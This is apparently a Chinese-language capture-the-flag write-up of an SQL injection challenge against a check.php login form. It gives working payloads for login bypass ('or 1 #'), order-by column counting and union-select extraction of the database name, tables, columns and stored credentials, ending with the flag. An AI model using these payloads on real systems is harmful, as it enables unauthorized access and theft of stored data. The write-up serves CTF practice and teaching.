万能密码
/check.php?username=1' or 1 # &password=1
此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用
order by 3,超过 3
/check.php?username=admin’ order by 1#&password=1
/check.php?username=admin’ order by 2#&password=1
/check.php?username=admin’ order by 3#&password=1
/check.php?username=admin’ order by 4#&password=1
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返
回了我们构造的 union 的数据。
/check.php?username=1’ union select 1, 2, 3#&password=1
得到回显点位为2和3,
/check.php?username=1’ union select 1, version(), database()#&password=1
查询当前数据库名及版本:可知当前数据库为geek
爆表:
/check.php?username=1’ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=’geek’#&password=1
爆出这两个表
我们试一下l0ve1ysq1这个表:
爆字段,
得到这三个子段,
/check.php?username=1’ union select 1, group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=1
爆数据:
/check.php?username=1’ union select 1, group_concat(id,username,password),3 from l0ve1ysq1#&password=1
得到flag:
flag{c6971e4f-43f5-4090-8f9c-2abe9f3f8933}